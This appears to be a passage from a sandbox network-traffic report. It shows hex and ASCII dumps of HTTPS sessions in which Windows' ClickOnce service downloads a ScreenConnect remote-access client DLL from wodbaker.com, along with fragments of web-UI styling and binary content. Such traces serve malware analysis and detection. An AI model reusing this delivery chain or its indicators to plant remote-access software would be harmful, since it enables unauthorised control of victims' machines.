2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 39 43 4c 51 6f 77 6d 4b 34 39 2b 34 39 30 69 6b 74 64 55 39 68 73 74 79 51 30 34 77 33 4d 54 4e 2b 78 59 31 79 46 39 44 57 6b 45 39 61 77 6b 6e 76 6a 36 43 43 4f 65 2f 68 78 44 65 55 32 34 45 50 65 51 6f 69 41 45 2b 31 75 44 65 4e 34 49 30 44 6b 49 58 44 54 75 64 45 4c 58 6e 7a 31 6f 30 32 50 6c 61 47 52 63 32 67 50 34 74 55 37 61 78 77 74 74 6f 76 4f 6d 78 70 53 65 52 59 56 55 38 68 39 5a 57 55 73 55 4e 45 39 58 74 76 48 51 4a 63 57 47 47 4a 6a 63 43 30 7a 61 37 2b 6b 6c 66 6c 51 57 70 69 76 36 49 49 51 68 33 36 59 6d 2f 50 4a 69 61 33 35 2b 39 59 50 48 54 78 6b 77 6f 51 68 37 79 51 36 55 44 34 79 6f 6c 62 49 6b 4a 39 4c 66 74 32 65 54 78 37 6c 54 54 2b 47 75 71 43 46 71 50 4f 78 51 2b 54 77 6d 64 50 6b 38 42 48 63 64 2f 50 32 47 30 63 6d 57 57 39 38 73 Data Ascii: 9CLQowmK49+490iktdU9hstyQ04w3MTN+xY1yF9DWkE9awknvj6CCOe/hxDeU24EPeQoiAE+1uDeN4I0DkIXDTudELXnz1o02PlaGRc2gP4tU7axwttovOmxpSeRYVU8h9ZWUsUNE9XtvHQJcWGGJjcC0za7+klflQWpiv6IIQh36Ym/PJia35+9YPHTxkwoQh7yQ6UD4yolbIkJ9Lft2eTx7lTT+GuqCFqPOxQ+TwmdPk8BHcd/P2G0cmWW98s
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 76 52 4a 74 49 62 2f 61 7a 6b 58 79 2b 67 51 7a 45 74 56 42 74 51 4e 43 2f 70 4a 71 59 6f 46 6b 48 56 57 47 61 58 4c 6c 61 64 54 71 46 31 30 78 66 52 77 65 36 30 6f 47 56 44 71 79 6c 30 34 2b 68 67 78 67 32 2f 54 44 2f 47 44 62 39 4d 48 30 42 52 71 38 6d 4b 41 66 70 72 41 6f 31 46 35 67 38 72 69 5a 61 64 65 79 71 56 56 39 51 75 65 77 71 6e 57 68 79 51 6b 4a 69 51 6b 70 79 61 6c 71 4b 33 52 77 53 59 72 59 6d 4a 31 6a 6a 4e 4f 62 67 45 4c 45 43 70 6f 53 68 4e 56 74 54 45 68 4a 53 37 4d 45 68 39 71 52 55 77 54 36 73 75 50 46 76 6c 2f 64 75 32 6e 66 79 32 65 67 2b 76 59 63 4e 52 62 43 38 66 2b 71 31 49 78 73 76 33 43 69 63 4f 6e 62 4d 4f 44 54 70 33 5a 46 64 45 79 62 2f 74 65 31 6d 38 50 65 33 77 76 34 36 50 32 58 5a 34 44 36 64 68 2f 52 73 4f 32 68 4f 74 35 Data Ascii: vRJtIb/azkXy+gQzEtVBtQNC/pJqYoFkHVWGaXLladTqF10xfRwe60oGVDqyl04+hgxg2/TD/GDb9MH0BRq8mKAfprAo1F5g8riZadeyqVV9QuewqnWhyQkJiQkpyalqK3RwSYrYmJ1jjNObgELECpoShNVtTEhJS7MEh9qRUwT6suPFvl/du2nfy2eg+vYcNRbC8f+q1Ixsv3CicOnbMODTp3ZFdEyb/te1m8Pe3wv46P2XZ4D6dh/RsO2hOt5
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 4d 77 6f 75 6d 4c 53 70 42 45 64 46 66 78 75 33 5a 73 6d 67 61 41 4b 61 34 58 43 6c 32 64 6e 74 32 49 39 53 52 41 52 58 43 79 73 72 47 36 45 42 47 5a 6f 33 62 73 77 4d 64 34 6a 46 68 78 43 2b 49 54 74 6b 48 63 52 51 68 4a 6d 35 59 37 43 79 67 6c 4e 34 63 69 4f 64 37 41 33 69 2b 31 36 69 30 41 77 6e 4d 72 6a 43 5a 61 45 41 52 4d 5a 2f 50 53 69 50 32 39 79 66 56 6d 7a 52 79 2f 76 54 5a 73 30 63 53 77 34 4b 63 52 53 68 66 30 70 47 46 61 43 7a 4a 78 35 46 6b 4a 70 72 73 2b 68 57 64 49 49 33 51 73 56 36 41 6d 4b 51 52 6e 67 67 31 2f 2f 73 4f 63 73 49 54 46 67 48 48 77 38 2b 7a 6d 59 59 43 69 42 61 4e 47 53 77 51 41 54 6d 79 54 75 6c 7a 30 54 46 54 7a 34 4d 30 31 4e 58 39 6e 6a 75 58 76 6c 5a 39 63 72 75 66 44 55 53 32 7a 67 55 68 36 72 70 2f 53 68 64 42 35 65 Data Ascii: MwoumLSpBEdFfxu3ZsmgaAKa4XCl2dnt2I9SRARXCysrG6EBGZo3bswMd4jFhxC+ITtkHcRQhJm5Y7CyglN4ciOd7A3i+16i0AwnMrjCZaEARMZ/PSiP29yfVmzRy/vTZs0cSw4KcRShf0pGFaCzJx5FkJprs+hWdII3QsV6AmKQRngg1//sOcsITFgHHw8+zmYYCiBaNGSwQATmyTulz0TFTz4M01NX9njuXvlZ9crufDUS2zgUh6rp/ShdB5e
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 7a 6d 4a 51 45 56 4b 57 69 42 54 73 70 64 45 34 70 70 6d 59 79 78 6e 6b 52 45 2b 31 55 52 32 75 65 68 74 4e 61 38 38 61 39 2b 77 45 75 52 69 66 39 42 61 36 2f 6f 64 63 7a 54 79 2b 35 35 58 72 2f 30 44 62 4a 31 78 53 6a 47 69 67 4c 50 6c 56 59 2f 42 4c 7a 4d 66 39 6e 31 77 35 54 7a 72 77 35 50 6c 37 6d 79 75 6e 55 62 70 79 37 6c 78 4d 47 4b 73 59 46 4b 69 78 31 49 76 64 45 77 4a 66 55 33 6b 36 4b 52 52 76 66 45 78 70 58 67 4d 77 2b 4c 30 33 45 31 4c 49 63 59 4b 65 35 55 30 64 4e 2b 6b 70 39 72 58 65 6c 38 79 2f 58 31 6c 35 4c 73 56 36 77 45 74 77 47 54 74 34 36 48 67 45 71 42 58 31 65 72 5a 52 75 6b 65 69 49 62 4a 50 7a 58 66 65 58 4a 30 4b 70 49 4e 41 42 71 49 51 36 4d 59 6b 78 64 73 74 30 46 36 58 38 76 6e 66 5a 6a 6a 6c 55 50 34 73 4b 38 47 45 4b 79 74 Data Ascii: zmJQEVKWiBTspdE4ppmYyxnkRE+1UR2uehtNa88a9+wEuRif9Ba6/odczTy+55Xr/0DbJ1xSjGigLPlVY/BLzMf9n1w5Tzrw5Pl7myunUbpy7lxMGKsYFKix1IvdEwJfU3k6KRRvfExpXgMw+L03E1LIcYKe5U0dN+kp9rXel8y/X1l5LsV6wEtwGTt46HgEqBX1erZRukeiIbJPzXfeXJ0KpINABqIQ6MYkxdst0F6X8vnfZjjlUP4sK8GEKyt
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 76 5a 44 55 50 68 48 4a 46 2b 34 34 32 6b 4a 69 58 47 78 38 50 47 55 4f 41 66 70 55 74 6c 6d 7a 59 73 36 43 44 54 76 4e 44 72 70 4d 37 77 2b 66 44 6a 56 55 65 4e 70 6a 59 47 59 41 67 2f 39 5a 44 43 6b 4d 57 41 41 41 4b 68 38 42 30 51 42 34 32 6a 33 4e 67 51 62 43 51 42 7a 48 38 62 75 71 71 70 5a 61 6d 56 78 52 6d 78 4a 70 73 59 4a 68 4d 46 49 67 46 41 44 46 41 67 69 55 71 67 4b 70 4e 35 6a 65 6f 44 64 6f 44 76 59 55 36 56 46 36 67 4c 44 2b 50 78 4a 38 66 4f 2f 75 2f 33 64 42 33 67 79 59 79 53 52 58 59 69 59 4c 2b 61 43 6a 56 77 6f 73 59 34 61 78 6b 64 4d 7a 79 71 6a 34 2f 79 35 78 4f 79 32 63 46 69 70 35 58 45 37 73 4f 69 72 56 31 6b 56 4a 51 61 57 48 64 72 64 52 52 6d 55 63 71 79 6d 4b 71 4b 7a 64 2b 31 56 75 50 6e 47 36 56 5a 54 79 65 64 36 33 59 79 6f Data Ascii: vZDUPhHJF+442kJiXGx8PGUOAfpUtlmzYs6CDTvNDrpM7w+fDjVUeNpjYGYAg/9ZDCkMWAAAKh8B0QB42j3NgQbCQBzH8buqqpZamVxRmxJpsYJhMFIgFADFAgiUqgKpN5jeoDdoDvYU6VF6gLD+PxJ8fO/u/3dB3gyYySRXYiYL+aCjVwosY4axkdMzyqj4/y5xOy2cFip5XE7sOirV1kVJQaWHdrdRRmUcqymKqKzd+1VuPnG6VZTyed63Yyo
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 39 31 2c 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 20 37 30 25 29 3b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 20 6f 70 61 63 69 74 79 3b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 32 35 73 3b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 30 2e 35 73 3b 0d 0a 09 0d 0a 7d 0d 0a 2e 43 6f 6c 6c 61 70 73 69 62 6c 65 50 61 6e 65 6c 0d 0a 7b 0d 0a 0d 0a 0d 0a 7d 0d 0a 2e 43 6f 6c 6c 61 70 73 69 62 6c 65 50 61 6e 65 6c 20 2e 48 65 61 64 65 72 0d 0a 7b 0d 0a 0d 0a 09 09 70 61 64 64 69 6e 67 3a 20 34 70 78 20 38 70 78 3b 0d 0a 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 09 64 69 73 70 6c 61 79 3a 20 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 Data Ascii: 91, rgba(0,0,0,0) 70%);transition-property: opacity;transition-delay: 0.25s;transition-duration: 0.5s;}.CollapsiblePanel{}.CollapsiblePanel .Header{padding: 4px 8px;width: 100%;display: -webkit-box;display:
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 43 30 78 4c 6a 59 77 4d 44 51 75 4d 44 41 35 4e 47 4d 74 4c 6a 51 33 4e 6a 51 75 4e 44 51 34 4e 69 30 75 4e 44 6b 30 4d 79 41 78 4c 6a 49 74 4c 6a 41 7a 4f 54 6b 67 4d 53 34 32 4e 7a 41 34 62 44 4d 75 4e 44 59 31 4e 43 41 7a 4c 6a 55 35 4d 44 68 6a 4c 6a 59 7a 4d 6a 55 75 4e 6a 55 31 4e 43 41 78 4c 6a 59 35 4f 44 55 75 4e 6a 41 77 4e 43 41 79 4c 6a 49 32 4d 44 49 74 4c 6a 45 78 4e 6a 68 4d 4d 54 6b 75 4d 44 49 31 4e 53 41 32 4c 6a 6b 35 4e 6c 6f 69 49 47 5a 70 62 47 77 39 49 69 4d 33 52 44 64 45 4e 30 51 69 4c 7a 34 38 4c 32 63 2b 50 47 52 6c 5a 6e 4d 2b 50 47 4e 73 61 58 42 51 59 58 52 6f 49 47 6c 6b 50 53 4a 68 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 6d 5a 6d 49 69 42 6b 50 53 4a 4e 4d 43 41 77 61 44 49 30 64 6a 49 30 53 44 42 36 Data Ascii: C0xLjYwMDQuMDA5NGMtLjQ3NjQuNDQ4Ni0uNDk0MyAxLjItLjAzOTkgMS42NzA4bDMuNDY1NCAzLjU5MDhjLjYzMjUuNjU1NCAxLjY5ODUuNjAwNCAyLjI2MDItLjExNjhMMTkuMDI1NSA2Ljk5NloiIGZpbGw9IiM3RDdEN0QiLz48L2c+PGRlZnM+PGNsaXBQYXRoIGlkPSJhIj48cGF0aCBmaWxsPSIjZmZmIiBkPSJNMCAwaDI0djI0SDB6
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 72 79 49 74 65 6d 52 65 73 70 6f 6e 73 65 20 2e 52 65 73 70 6f 6e 64 54 6f 45 6c 65 76 61 74 69 6f 6e 52 65 71 75 65 73 74 2c 0d 0a 2e 48 69 73 74 6f 72 79 50 61 6e 65 6c 20 2e 52 65 71 75 65 73 74 65 64 41 64 6d 69 6e 69 73 74 72 61 74 69 76 65 4c 6f 67 6f 6e 20 2e 42 6f 64 79 20 2e 52 65 73 70 6f 6e 73 65 20 2e 45 76 65 6e 74 48 69 73 74 6f 72 79 49 74 65 6d 52 65 73 70 6f 6e 73 65 20 2e 52 65 73 70 6f 6e 64 54 6f 41 64 6d 69 6e 69 73 74 72 61 74 69 76 65 4c 6f 67 6f 6e 52 65 71 75 65 73 74 2c 0d 0a 2e 48 69 73 74 6f 72 79 50 61 6e 65 6c 20 2e 51 75 65 75 65 64 50 72 6f 63 65 65 64 45 6c 65 76 61 74 69 6f 6e 20 2e 42 6f 64 79 20 2e 52 65 73 70 6f 6e 73 65 20 2e 45 76 65 6e 74 48 69 73 74 6f 72 79 49 74 65 6d 52 65 73 70 6f 6e 73 65 20 2e 52 65 73 70 6f Data Ascii: ryItemResponse .RespondToElevationRequest,.HistoryPanel .RequestedAdministrativeLogon .Body .Response .EventHistoryItemResponse .RespondToAdministrativeLogonRequest,.HistoryPanel .QueuedProceedElevation .Body .Response .EventHistoryItemResponse .Respo
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 34 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 34 70 78 20 31 32 70 78 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 0d 0a 7d 0d 0a 2e 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 3a 64 69 73 61 62 6c 65 64 0d 0a 7b 0d 0a 0d 0a 09 09 63 6f 6c 6f 72 3a 20 23 37 44 37 44 37 44 3b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 32 35 32 35 32 3b 0d 0a 09 09 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 0d 0a 09 0d 0a 7d 0d 0a 2e 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 3a 68 6f 76 65 72 0d 0a 7b 0d 0a 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 38 33 38 33 38 3b 0d 0a 09 0d 0a 7d 0d 0a 2e 52 65 73 6f 75 72 63 65 50 61 6e 65 6c 20 2e 49 6d 61 67 65 52 65 73 6f 75 Data Ascii: 4px;padding: 4px 12px;text-decoration: none;}.SecondaryButton:disabled{color: #7D7D7D;background-color: #525252;cursor: default;}.SecondaryButton:hover{background-color: #383838;}.ResourcePanel .ImageResou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49808	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:58 UTC	113	OUT	GET /Bin/ScreenConnect.Client.dll HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip Connection: Keep-Alive
2024-11-22 22:00:59 UTC	235	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 197120 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:58 GMT Connection: close
2024-11-22 22:00:59 UTC	16149	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e7 02 f1 94 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 fa 02 00 00 06 00 00 00 00 00 00 96 18 03 00 00 20 00 00 00 20 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 03 00 00 02 00 00 23 92 03 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL" 0 `#@
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 00 00 11 73 75 00 00 0a 0a 06 72 8f 0f 00 70 6f 76 00 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 f6 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 f8 02 00 06 16 fe 01 2a 26 0f 00 03 28 fb 02 00 06 2a 0a 16 2a 5e 03 75 77 00 00 02 2c 0d 02 03 a5 77 00 00 02 28 fb 02 00 06 2a 16 2a 0a 17 2a 00 13 30 02 00 40 00 00 00 0c 00 00 11 73 75 00 00 0a 0a 06 72 c3 0f 00 70 6f 76 00 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 fd 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 ff 02 00 06 16 fe 01 2a 26 0f 00 03 28 02 03 00 06 2a 0a 16 2a 5e 03 75 78 00 00 02 2c 0d 02 03 a5 78 00 00 02 28 02 03 00 06 2a 16 2a 0a 17 2a 00 Data Ascii: surpov&rYpov&(, ow&}ow&o)*.(&(^uw,w(0@surpov&rYpov&(, ow&}ow&o).(&(^ux,x(*
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 15 04 00 06 72 b7 17 00 70 18 28 2e 02 00 0a 26 02 28 da 00 00 0a 7d 05 01 00 04 02 7e 2c 02 00 0a 7d 06 01 00 04 02 15 7d 07 01 00 04 02 28 ef 00 00 0a 6f 2f 02 00 0a 7d 04 01 00 04 02 7b 04 01 00 04 03 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 6f 32 02 00 0a 02 7b 04 01 00 04 05 0e 04 6f 33 02 00 0a 02 7b 04 01 00 04 16 16 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 73 95 01 00 0a 06 fe 06 b5 04 00 06 73 34 02 00 0a 28 35 02 00 0a de 10 26 02 28 14 04 00 06 fe 1a 07 28 bd 00 00 0a dc 2a 00 00 00 01 1c 00 00 00 00 66 00 76 dc 00 09 16 00 00 01 02 00 1a 00 cb e5 00 07 00 00 00 00 1b 30 03 00 42 00 00 00 25 00 00 11 02 7b 03 01 00 04 0a 06 28 b8 00 00 0a 02 28 15 04 00 06 72 cb 17 00 70 18 28 36 02 00 0a 26 02 Data Ascii: rp(.&(}~,}}(o/}{{ko0{ko1o2{o3{{ko0{ko1ss4(5&((*fv0B%{((rp(6&
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 00 38 56 4a 1f 16 00 6a 38 4e 1f 16 00 76 38 4e 1f 36 00 56 0a 58 1f 16 00 e1 01 5d 1f 16 00 f6 03 6e 1f 16 00 30 07 7f 1f 16 00 ab 08 5d 1f 16 00 30 04 87 1f 16 00 4d 07 91 1f 16 00 01 00 9b 1f 16 00 3b 03 9b 1f 06 00 ce 72 a4 1f 06 00 69 5c b3 1d 06 00 ce 72 a4 1f 06 00 a5 75 a4 1d 01 00 e3 74 a9 1f 01 00 e5 59 bf 10 01 00 50 37 af 1f 36 00 56 0a b4 1f 16 00 8a 02 b9 1f 36 00 56 0a c5 1f 16 00 a0 00 b9 1f 36 00 56 0a fc 11 16 00 70 00 f2 11 16 00 94 03 68 12 06 00 12 81 64 07 06 00 06 63 ca 11 06 00 7b 6d 25 11 06 00 ce 72 cf 11 06 00 71 32 dc 11 06 00 9c 79 e1 11 06 00 90 83 bc 10 06 00 a9 62 42 13 06 00 ce 72 cf 11 06 00 19 0d 58 04 06 00 26 77 ca 1f 06 00 ce 72 cf 1f 06 00 ac 65 90 1e 06 00 7d 5d e1 11 36 00 56 0a d4 1f 16 00 6c 01 d9 1f 06 00 ce 72 Data Ascii: 8VJj8Nv8N6VX]n0]0M;ri\rutYP76V6V6Vphdc{m%rq2ybBrX&wre}]6Vlr
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 00 00 00 c6 05 dc 6e b8 21 e8 03 00 00 00 00 00 00 c6 05 11 0c b1 04 e8 03 74 b2 00 00 00 00 c4 01 1e 2a db 2b e8 03 94 b2 00 00 00 00 94 00 7b 3e e5 2b e9 03 00 00 00 00 00 00 c4 05 42 64 ef 2b ea 03 37 b3 00 00 00 00 81 00 bc 71 ef 2b eb 03 58 b3 00 00 00 00 c4 00 58 10 e7 21 ec 03 a8 b9 00 00 00 00 81 00 81 2a f6 2b ed 03 10 ba 00 00 00 00 91 00 00 0f 05 2c f0 03 a8 ba 00 00 00 00 81 00 6a 09 15 2c f4 03 c8 ba 00 00 00 00 91 18 97 66 c0 20 f5 03 d4 ba 00 00 00 00 86 18 91 66 01 00 f5 03 dc ba 00 00 00 00 83 00 87 01 1c 2c f5 03 fb ba 00 00 00 00 91 18 97 66 c0 20 f6 03 07 bb 00 00 00 00 86 18 91 66 01 00 f6 03 0f bb 00 00 00 00 83 00 3a 00 2d 2c f6 03 17 bb 00 00 00 00 83 00 74 03 34 2c f7 03 1f bb 00 00 00 00 83 00 a3 01 85 29 f8 03 32 bb 00 00 00 00 Data Ascii: n!t+{>+Bd+7q+XX!+,j,f f,f f:-,t4,)2
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 00 b6 1c 01 13 1a 00 e8 2e 01 13 6b 00 b6 1c 20 13 6b 00 b6 1c 21 13 6b 00 b6 1c 41 13 6b 00 b6 1c 60 13 6b 00 b6 1c 61 13 1a 00 e8 2e 61 13 6b 00 b6 1c 80 13 6b 00 b6 1c a3 13 6b 00 b6 1c c3 13 6b 00 b6 1c e1 13 6b 00 b6 1c e3 13 6b 00 b6 1c 01 14 6b 00 b6 1c 03 14 6b 00 b6 1c 21 14 6b 00 b6 1c 41 14 6b 00 b6 1c 60 14 6b 00 b6 1c 61 14 6b 00 b6 1c 63 14 6b 00 b6 1c 81 14 6b 00 b6 1c 83 14 6b 00 b6 1c a0 14 6b 00 b6 1c a1 14 6b 00 b6 1c c1 14 6b 00 b6 1c c3 14 6b 00 b6 1c e1 14 6b 00 b6 1c e3 14 6b 00 b6 1c 01 15 6b 00 b6 1c 03 15 6b 00 b6 1c 21 15 6b 00 b6 1c 23 15 6b 00 b6 1c 41 15 1a 00 69 2f 41 15 6b 00 b6 1c 44 15 c2 05 b6 1c 61 15 6b 00 b6 1c 63 15 6b 00 b6 1c 80 15 6b 00 b6 1c 81 15 6b 00 b6 1c 83 15 6b 00 b6 1c a0 15 6b 00 b6 1c a1 15 1a 00 e8 2e Data Ascii: .k k!kAk`ka.akkkkkkkk!kAk`kakckkkkkkkkkkk!k#kAi/AkDakckkkkk.
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 74 69 6d 65 72 49 44 00 67 65 74 5f 52 65 71 75 65 73 74 49 44 00 73 65 74 5f 52 65 71 75 65 73 74 49 44 00 3c 3e 4f 00 53 79 73 74 65 6d 2e 49 4f 00 3c 73 74 72 65 61 6d 49 44 3e 50 00 43 61 6c 63 75 6c 61 74 65 46 50 53 00 54 00 67 65 74 5f 58 00 74 69 6c 65 58 00 67 65 74 5f 59 00 74 69 6c 65 59 00 76 61 6c 75 65 5f 5f 00 55 6e 69 6f 6e 55 6e 6c 65 73 73 4e 6f 41 72 65 61 00 67 65 74 5f 44 61 74 61 00 73 65 74 5f 44 61 74 61 00 73 6f 75 6e 64 44 61 74 61 00 57 72 69 74 65 4d 65 73 73 61 67 65 44 61 74 61 00 67 65 74 5f 46 72 61 6d 65 44 61 74 61 00 73 65 74 5f 46 72 61 6d 65 44 61 74 61 00 53 69 67 6e 44 61 74 61 00 67 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 73 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 Data Ascii: timerIDget_RequestIDset_RequestID<>OSystem.IO<streamID>PCalculateFPSTget_XtileXget_YtileYvalue__UnionUnlessNoAreaget_Dataset_DatasoundDataWriteMessageDataget_FrameDataset_FrameDataSignDataget_AuthenticationDataset_AuthenticationData
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 50 72 6f 70 65 72 74 69 65 73 2e 53 74 61 74 75 73 47 6c 79 70 68 42 6c 61 6e 6b 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 4f 70 65 6e 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 4d 65 73 73 61 67 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 43 6c 69 70 62 6f 61 72 64 4b 65 79 73 74 72 6f 6b 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 46 69 6c 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 Data Ascii: Properties.StatusGlyphBlankMonitor.pngScreenConnect.Properties.CommandOpenMonitor.pngScreenConnect.Properties.ControlPanelMessages.pngScreenConnect.Properties.CommandSendClipboardKeystrokes.pngScreenConnect.Properties.CommandSendFiles.pngScreenConnec
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 00 74 00 65 00 4d 00 69 00 63 00 72 00 6f 00 70 00 68 00 6f 00 6e 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 3b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 20 00 3d 00 20 00 00 2b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 4d 00 75 00 74 00 65 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 31 53 00 65 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 56 00 6f 00 6c 00 75 00 Data Ascii: teMicrophoneCommand;SelectSoundCaptureModeCommand'SoundCaptureMode = +SelectSpeakersCommand'MuteSpeakersCommand1SetSpeakersVolu
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 0a 01 00 02 00 00 00 00 01 00 00 6d 01 00 05 00 00 00 10 57 61 69 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 15 53 74 61 72 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 43 6f 75 6e 74 13 57 61 73 4e 65 74 77 6f 72 6b 52 65 61 63 68 61 62 6c 65 13 57 61 73 48 61 6e 64 73 68 61 6b 65 53 74 61 72 74 65 64 15 57 61 73 48 61 6e 64 73 68 61 6b 65 43 6f 6d 70 6c 65 74 65 64 00 00 21 01 00 02 00 00 00 10 4d 65 74 72 69 63 73 45 6e 74 72 79 54 79 70 65 07 4d 69 6e 69 6d 75 6d 00 00 26 01 00 84 6b 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 4c 14 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 02 00 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 Data Ascii: mWaitMillisecondsStartMillisecondCountWasNetworkReachableWasHandshakeStartedWasHandshakeCompleted!MetricsEntryTypeMinimum&kTAllowMultipleTInherited&LTAllowMultipleTInherited&TAllowMulti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49810	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
